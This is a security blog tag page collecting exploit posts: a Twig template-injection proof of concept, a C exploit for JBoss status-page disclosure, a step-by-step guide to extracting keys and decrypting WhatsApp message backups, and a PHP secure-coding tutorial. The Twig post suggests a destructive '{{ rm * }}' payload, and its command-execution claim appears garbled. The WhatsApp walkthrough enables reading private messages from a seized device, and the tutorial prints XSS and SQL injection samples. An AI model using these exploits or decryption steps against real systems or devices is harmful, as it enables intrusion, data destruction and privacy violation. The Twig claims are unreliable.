Posts Tagged

penetration testing

Zero Day Twig PHP template engine

Twig is a modern template engine for PHP, its flexible, fast, and secure template engine for PHP.If you have any exposure to other text-based template languages, such as Smarty, Django, or Jinja, you should feel right at home with Twig. It’s both designer and developer friendly by sticking to PHP’s principles and adding functionality useful for templating environments.

ExploitDB link:

https://www.exploit-db.com/exploits/44102

Well, Twig {Latest version} is affected to Server-Side Template Injection and {{Command execution}}.

Exploit:

Twig <=2.4.4 contain SSTI vulnerability which allow attackers to execute commands within the Parameters, by just using {{COMAND TO EXECUTE}} instead of using the expected values “Normal integer or normal string”, depends on the vulnerable application, which takes deferent params by GET or POST.

1.POC:

Example: by injecting this in a search param http://localhost/search?search_key={{4*4}} >        Output: 16

2. POC:

http://localhost/search?search_key={{4*4}}

http://localhost/search?search_key={{ls}}

OUTPUT: list of files/directories etc….

See the screenshot bellow how its executing the command and printing out the results, this could be also {{ rm * }} which will delete the entire application 🙂

JBoss sensitive information disclosure vulnerability

By requesting the Status File with full param and setting its value to true, Jobss will print a sensitive information such as Memory used/Total Memory / Client IP address. Example: http://127.0.01/status?full=true

ExploitDB Link: 

https://www.exploit-db.com/exploits/44009/

Proof of Concept

//
//  main.c
//  jobss information disclosure POC
//
//  Created by JameelNabbo  on 2/8/18.
//  Website www.jameelnabbo.com
//  LAB     www.uitsec.com
//  CopyRight © 2018 Jameel Nabbo. All rights reserved.
//

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/tcp.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>


int socket_connect(char *host, in_port_t port){
    struct hostent *hp;
    struct sockaddr_in addr;
    int on = 1, sock;
    
    if((hp = gethostbyname(host)) == NULL){
        herror("gethostbyname");
        exit(1);
    }
    bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
    addr.sin_port = htons(port);
    addr.sin_family = AF_INET;
    sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
    
    if(sock == -1){
        perror("setsockopt");
        exit(1);
    }
    
    if(connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1){
        perror("connect");
        exit(1);
        
    }
    return sock;
}

#define BUFFER_SIZE 1024

int main(int argc, char *argv[]){
    int fd;
    char buffer[BUFFER_SIZE];
    
    if(argc < 3){
        fprintf(stderr, "Usage: %s <hostname> <port>\n", argv[0]);
        exit(1);
    }
    
    fd = socket_connect(argv[1], atoi(argv[2]));
    write(fd, "GET /status?full=true\r\n", strlen("GET /status?full=true\r\n")); // write(fd, char[]*, len);
    while(read(fd, buffer, BUFFER_SIZE - 1) != 0){
         fprintf(stderr, "%s", buffer);
    }

    shutdown(fd, SHUT_RDWR);
    close(fd);
    return 0;
}

Solution:
Update to version 4.2.3 or later

Breaking down whatsapp encryption EXPLOIT

Breaking Down Whatsapp encryption EXPOIT.

In this article am going to explain in depth how you can decrypt Whatsapp messages.

First let’s talk about how Whatsapp store messages into your mobile device:

Your chats are being saved on your phone and not on the Whatsapp server. The only moment Whatsapp saves your message is the moment you send it. The message is being saved on Whatsapp servers until it can be delivered to the recieving phone. This might take a while when that phone is out reach of internet or is turned off.

If the message is on the Whatsapp server for more than 30 days it will be deleted from the server.

And Whatsapp store the messages inside (SD card>Whatsapp>Database folder)

msgstore.db.crypt12 -> this file contains all of your messages but it’s encrypted 🙂

Let’s get started into the fun stuff:

You can decrypt WhatsApp message backup file i.e. msgstore.db.crypt12. You can also decrypt the previous backup file with format crypt7, crypt5 etc….

Database file with name msgstore.db.crypt12. You can find this file in your Device storage.

Path:  Device Storage/WhatsApp/Databases/msgstore.db.crypt12

It is required to root your phone to find key otherwise you will get empty folder.

Key: Key file contains a decryption key which is essential to decrypt an encrypted file. Since WhatsApp saves this key in your system storage so you can find that file on following location. To open system folder you can use ES File Explorer. ES File Explorer File Manager – Android Apps on Google Play

WhatsApp backup conversation files are now saved with the .crypt12 extension. From crypt9, they seem to be using a modified version of Spongy Castle – a cryptography API library for Android.

All the findings below are based on reverse engineering work done on WhatCrypt and Omni-Crypt. I would like to highlight that IGLogger proved to be a very useful tool when it came to smali code debugging.

Extract Key File

To decrypt the crypt12 files, you will first need the key file. The key file stores the encryption key, K. WhatsApp stores the key file in a secure location: /data/data/com.whatsapp/files/key.

If your phone is rooted, extracting this file is easy. If your phone is not rooted, refer to instructions from WhatCrypt and Omni-Crypt for details on extracting the key file. The idea is to install an older version of WhatsApp, where Android ADB backup was still working and extract the key file from the backup.

Extract crypt12 Backup File

Pull the encrypted WhatsApp messages file from your phone using ADB.

$ adb pull /sdcard/WhatsApp/Databases/msgstore.db.crypt12

Decryption Keys

This section is just for your information and you can skip this section.

The encryption method being used is AES with a key (K) length of 256 bits and an initialization vector (IV) size of 128 bits. The 256-bit AES key is saved from offset 0x7E till 0x9D in the file. Offsets start from 0x00. You can extract the AES key with hexdump and assign the value to variable $k.

$ k=$(hexdump -ve '2/1 "%02x"' key | cut -b 253-316)

The $k variable will hold a 64-digit hexadecimal value in ASCII that is actually 256 bits in length.

The IV or the initialisation vector is saved from offset 0x33 till 0x42 in the crypt12 file. The IV value will be different for every crypt12 file.

$ iv=$(hexdump -n 67 -ve '2/1 "%02x"' msgstore.db.crypt12 | cut -b 103-134)

The K and IV extraction method is similar to what we have done for crypt8 files before.

Strip Header / Footer in crypt12 File

Again, this section is just for your information and you can skip this section.

Before we start the decryption process, we will need to strip the 67 byte header and 20 byte footer from the crypt12 file.

$ dd if=msgstore.db.crypt12 of=msgstore.db.crypt12.enc ibs=67 skip=1

$ truncate -s -20 msgstore.db.crypt12.enc

The above dd command will strip the the first 67 bytes from the crypt12 file and save it to a file with extension crypt12.enc. The truncate command will strip the last 20 bytes from the crypt12 file.

Decrypt THE crypt12 File

As the WhatsApp AES cryptography API library seems to be a modified version, we will no longer be able to use openssl to decrypt the crypt12 file. I have yet to determine what has been modified.

To decrypt crypt12 files, I have written a simple Java program that will use the modified cryptography API library instead. For the cryptography API library, I have extracted the modified Spongy Castle cryptography class files from the Omni-Crypt APK file using dex2jar. You can find the Java program and crypto library over here at GitHub.

The Java program will create 3 output files:

  • msgstore.db.crypt12.enc – encrypted file with header and footer stripped.
  • msgstore.db.zlib – decrypted file in zlib format.
  • msgstore.db – decrypted sqlite3 database file.

Below is how you can compile and run the Java program.

$ git clone https://github.com/JameelNabbo/WhatsappDecryption.git
$ cd WhatsappDecryption/
$ javac -classpath "lib/whatsapp_spongycastle.jar:." crypt12.java
$ cp ../whatsapp.data/key .
$ cp ../whatsapp.data/msgstore.db.crypt12 .
$ java -cp "lib/whatsapp_spongycastle.jar:." WTDecrypt

K:XXXXXXXXXX

IV:YYYY

creating encrypted file with header/footer stripped: msgstore.db.crypt12.enc

creating zlib output file: msgstore.db.zlib

creating sqlite3 output file: msgstore.db

$ ls -l

total 136724

-rw-r--r-- 1 Jameel ************* WTDecrypt.class

-rw-r--r-- 1 Jameel ************* WTDecrypt.java

-rw-r--r-- 1 Jameel ************* key

drwxr-xr-x 2 Jameel ************* lib

-rw-r--r-- 1 Jameel ************* LICENSE

-rw-r--r-- 1 Jameel ************* msgstore.db

-rw-r--r-- 1 Jameel ************* msgstore.db.crypt12

-rw-r--r-- 1 Jameel *************  msgstore.db.crypt12.enc

-rw-r--r-- 1 Jameel ************* msgstore.db.zlib

-rw-r--r-- 1 Jameel ************* README.md

$ file *

WTDecrypt.class:           compiled Java class data, version 52.0 (Java 1.8)

WTDecrypt.java:            C source, ASCII text

key:                     Java serialization data, version 5

lib:                     directory

msgstore.db:             SQLite 3.x database, user version 1

msgstore.db.crypt12:     raw G3 data, byte-padded

msgstore.db.crypt12.enc: data

msgstore.db.zlib:        zlib compressed data

Final Words

To use the Java decryption tool, you will need to use OpenJDK. Oracle require JCE Provider libraries to be signed. OpenJDK does not have this requirement. If you try running the Java program on Oracle JDK, you will most likely get the following exception.

 

Have fun 🙂

PHP and MySQL: Secure coding

php mysql secure coding

With all the languages out there used by websites, one of the most dynamic ones is PHP, mostly used in websites such as Amazon, Wikipedia, and Facebook.

PHP is very popular to use, generally because it is easy to learn, easy to install and does not require the user to write code.

Yet, in spite of PHP’s popularity, security is not a very popular issue among its users.

For this reason, in order to make your PHP apps more secure, I will be explaining how you can do that.

One of the solutions is creating a PHP web app that connects to a MySQL back end database.

This will create a layered security structure.

There is no definite method of blocking attacks, but using the layered security concept, we can limit our exposure to them.

Two of the attacks we will lessen are SQL Injection (SQLi) and Cross Site Scripting (XSS). Both of these attacks are performed by taking advantage of applications that do not properly handle user input.

 

XSS happens when an application sends the users browser back input that has not been checked for code. If an attacker were to enter something similar to the text below in a form field, it would cause the browser to execute the code and create a pop up on the screen displaying the text “XSS”.

”&gt;&lt;script&gt;alert(‘XSS’)&lt;/script&gt;

Similarly SQLi is caused by an attacker running unplanned SQL code against the database. An example would be if an attacker were to enter the following in a form, the browser would display all the data in the user table:

;select * from users;

I will use PHP built-in methods such as htmlspecialchars(), mysqli_real_escape_strings() and use prepared statements to help prevent the attacks mentioned above.

In this training contact  list app example , the database will store the following fields:

  • First Name
  • Last Name
  • email address

securecodingexample1

 

As a privileged user I ran the following code to create the database.it is attached at the end of this post as createdb.sql.

mysql -uroot -p -h 127.0.0.1 mysql

CREATE DATABASE `contactsSchema` ;
USE contactsSchema;
CREATE TABLE `contactsTable` (
    `id` int(11) NOT NULL AUTO_INCREMENT,
    `first` VARCHAR(40) DEFAULT NULL,
    `last` VARCHAR(64) DEFAULT NULL,
    `email` VARCHAR(256) DEFAULT NULL
    PRIMARY KEY (`id`)
) ENGINE=InnoDB; 
CREATE USER 'contactsUser'@'localhost' identified by 'superSecretPassword';
GRANT SELECT, INSERT, UPDATE, DELETE
    ON contactsSchema.contactsTable TO 'contactsUser'@'localhost';

INSERT INTO contactsTable (id, first, last, email)
values(null, 'Alexander', 'Bell', 'alexander@bell.com');

For the application, I will drop the authenticated login functionality that will be discussed in a later post .

In the PHP page, which is attached at the bottom as index.php, you will see some  PHP code that makes this contacts app more secure.

1. strip_tags()

#User passed in vars
isset ( $_REQUEST['i'] ) ? $i = strip_tags($_REQUEST['i']) : $i = "";
isset ( $_REQUEST['s'] ) ? $s = strip_tags($_REQUEST['s']) : $s = "";

I am only allowing variables from the user that I am specifying. Next I am running strip_tags() on them to remove any html tags in the text. This however does not get all extra characters.

2. mysqli_real_escape_string()

$first=mysqli_real_escape_string($db, $first);

In the above code snippet, the mysqli_real_escape_string() method is used to escape any special characters.
This is used as the variable is provided by the user. Anything the user enters should be sanitized.
However mysqli_real_escape_string() does not protect against all threats.

3. Prepared Statement

if ($stmt = mysqli_prepare($db,
 "INSERT INTO contactsTable SET first=?, last=?, email=?, id=''")) {

               mysqli_stmt_bind_param($stmt, "sss", $first, $last, $email);
               mysqli_stmt_execute($stmt);
               mysqli_stmt_close($stmt);
}

In this code we are using prepared statements to limit the functionality of the query.
In this example, I am only passing in variables to execute in this query,
it prevents nested queries, which are a common SQLi attack.

 

4. htmlspecialchars()

function displayResults($first, $last, $email) {

       echo "&lt;tr&gt; &lt;td&gt;" . htmlspecialchars($first)  . "&lt;/td&gt;";
       echo "&lt;td&gt;" . htmlspecialchars($last)  . "&lt;/td&gt;";
       echo "&lt;td&gt;" . htmlspecialchars($email)  . "&lt;/td&gt;&lt;/tr&gt;";
}

In the above example, I am disabling code that may be stored in the database or passed in by the end user from being rendered as executable html in the browser. The command htmlspecialchars() replaces characters like < with markup equivalent such as &LT;.

Conclusion

In this example application, I have applied multiple layers of security to prevent attacks such as cross site scripting and SQL injection. Clearly this is a simple application, but the code is reusable and you can build on it when you create your own applications.

Code Examples Used in Writeup:

createdb.sql

CREATE DATABASE `contactsSchema` ;
USE contactsSchema;
CREATE TABLE `contactsTable` (
    `id` int(11) NOT NULL AUTO_INCREMENT,
    `first` VARCHAR(40) DEFAULT NULL,
    `last` VARCHAR(64) DEFAULT NULL,
    `email` VARCHAR(256) DEFAULT NULL
    PRIMARY KEY (`id`)
) ENGINE=InnoDB; 
CREATE USER 'contactsUser'@'localhost' identified by 'superSecretPassword';
GRANT SELECT, INSERT, UPDATE, DELETE
    ON contactsSchema.contactsTable TO 'contactsUser'@'localhost';

INSERT INTO contactsTable (id, first, last, email)
values(null, 'Alexander', 'Bell', 'alexander@bell.com');

Index.php

&lt;?php
//file: index.php 
//purpose: example contact list
//version: 1.0 
//date: 2012/08/30
#User passed in var run strip tags on input
isset ( $_REQUEST['i'] ) ? $i = strip_tags($_REQUEST['i']) : $i = "";
isset ( $_REQUEST['s'] ) ? $s = strip_tags($_REQUEST['s']) : $s = "";
isset ( $_REQUEST['st'] ) ? $st = strip_tags($_REQUEST['st']) : $st = "";
isset ( $_REQUEST['first'] ) ? $first = strip_tags($_REQUEST['first']) : $first = "";
isset ( $_REQUEST['last'] ) ? $last = strip_tags($_REQUEST['last']) : $last = "";
isset ( $_REQUEST['email'] ) ? $email = strip_tags($_REQUEST['email']) : $email = "";

#Database Connection 
function connectDB(&amp;$db){
 $db_host='localhost';
 $db_user='contactsUser';
 $db_pass='superSecretPassword';
 $db_name='contactsSchema';
 $db = mysqli_connect($db_host, $db_user, $db_pass, $db_name);
 if (mysqli_connect_errno()) {
 print "&lt;br&gt; Houston we have a problem! &lt;br&gt;
 There seems to be an error connecting to the MySQL Database. 
 &lt;br&gt; The error we hit was: &lt;br&gt; " . htmlspecialchars(mysqli_connect_error()) .
 "&lt;br&gt; error code " . htmlspecialchars(mysql_errno());
 exit;
 }
}
//Add new entries to DB
function addContact($db, $first, $last, $email) { 
 $first=mysqli_real_escape_string($db, $first);
 $last=mysqli_real_escape_string($db, $last);
 $email=mysqli_real_escape_string($db, $email);
 if ($stmt = mysqli_prepare($db, "INSERT INTO contactsTable SET first=?, last=?, email=?, id=''")) {
 mysqli_stmt_bind_param($stmt, "sss", $first, $last, $email); 
 mysqli_stmt_execute($stmt); 
 mysqli_stmt_close($stmt);
 } else {
 echo "Error Adding Contact";
 }
}
//Table Header 
function resultTableHeader() {
 echo "&lt;table width=60%&gt;
 &lt;tr&gt; &lt;td bgcolor=#D8D8D8 width=30%&gt; &lt;b&gt;&lt;u&gt; First &lt;/b&gt; &lt;/u&gt; &lt;/td&gt;
 &lt;td bgcolor=#D8D8D8 width=30%&gt; &lt;b&gt;&lt;u&gt; Last &lt;/b&gt; &lt;/u&gt; &lt;/td&gt; 
 &lt;td bgcolor=#D8D8D8 width=40%&gt; &lt;b&gt;&lt;u&gt; eMail &lt;/b&gt; &lt;/u&gt; &lt;/td&gt; &lt;/tr&gt;";
}
//Results Display
function displayResults($first, $last, $email) {
 echo "&lt;tr&gt; &lt;td&gt;" . htmlspecialchars($first) . "&lt;/td&gt;";
 echo "&lt;td&gt;" . htmlspecialchars($last) . "&lt;/td&gt;";
 echo "&lt;td&gt;" . htmlspecialchars($email) . "&lt;/td&gt;&lt;/tr&gt;";
}
//Coonect to the DB to begin
connectDB($db);
echo "
&lt;html&gt;
&lt;head&gt;
&lt;title&gt; Contacts &lt;/title&gt; 
&lt;/head&gt;
&lt;body&gt; 
&lt;center&gt;
&lt;h3&gt; Contact List &lt;/h3&gt;
&lt;table width=60%&gt; 
&lt;tr&gt;
 &lt;td bgcolor=#D8D8D8 width=30%&gt; &lt;a href=index.php?s=1&gt;Add New &lt;/a&gt; &lt;/td&gt;
 &lt;td bgcolor=#D8D8D8 width=30%&gt; &lt;a href=index.php?s=2&gt;Search&lt;/a&gt; &lt;/td&gt;
 &lt;td bgcolor=#D8D8D8 width=40%&gt; &lt;a href=index.php&gt;Back&lt;/a&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
";
if ($s == Null) { //If no options, just query the whole table
 resultTableHeader();
 $query="SELECT first, last, email FROM contactsTable"; 
 $result=mysqli_query($db, $query); 
 while($row=mysqli_fetch_row($result)) {
 displayResults($row[0], $row[1], $row[2]);
 }
 echo "&lt;/table&gt;";
}elseif ($s == 1) { //Add new entry
 if ($first == Null) { //If we don't have user input yet
 echo "&lt;form method=post action="index.php"&gt; ";
 resultTableHeader();
 echo " 
 &lt;td&gt; &lt;input type=text name="first" value=""&gt;&lt;/input&gt; &lt;/td&gt; 
 &lt;td&gt; &lt;input type=text name="last" value=""&gt;&lt;/input&gt; &lt;/td&gt; 
 &lt;td&gt; &lt;input type=text name="email" value=""&gt;&lt;/input&gt; &lt;/td&gt; 
 &lt;tr&gt; &lt;td colspan=3 align=center&gt;&lt;input type=hidden name="s" value="1"&gt;
 &lt;input type=submit name="Submit" value="Submit"&gt; &lt;/td &lt;/tr&gt;
 &lt;/table&gt;";

 } elseif ($first != Null) {
 addContact($db, $first, $last, $email) ;
 echo "Added new Entry &lt;br&gt;" . 
 htmlspecialchars($first) . "&lt;br&gt;" .
 htmlspecialchars($last) . "&lt;br&gt;" . 
 htmlspecialchars($email) . "&lt;br&gt;";
 }
}elseif( $s == 2) {
 if ($st == Null) { 
 echo "Enter Search Term: 
 &lt;form method=post action="index.php"&gt;
 &lt;input type=text name="st" value=""&gt; 
 &lt;input type=hidden name="s" value="2"&gt;
 &lt;input type=submit value="Submit" name="Submit"&gt; 
 &lt;/form&gt;" ;
 } else { 
 $st=mysqli_real_escape_string($db, $st);
 resultTableHeader();
 if ($stmt = mysqli_prepare($db, "SELECT first, last, email FROM contactsTable WHERE 
 first LIKE CONCAT('%', ? ,'%') or
 last LIKE CONCAT('%', ? ,'%') or
 email LIKE CONCAT('%', ? ,'%')")){
 mysqli_stmt_bind_param($stmt, "sss", $st, $st, $st); 
 mysqli_stmt_execute($stmt); 
 mysqli_stmt_bind_result($stmt, $first, $last, $email);
 while(mysqli_stmt_fetch($stmt)) {
 displayResults($first, $last, $email);
 }
 mysqli_stmt_close($stmt);
 }
 echo "&lt;/table&gt; ";
 } 
}
echo " 
 &lt;/center&gt;
 &lt;/body&gt;
&lt;/html&gt;";
?&gt;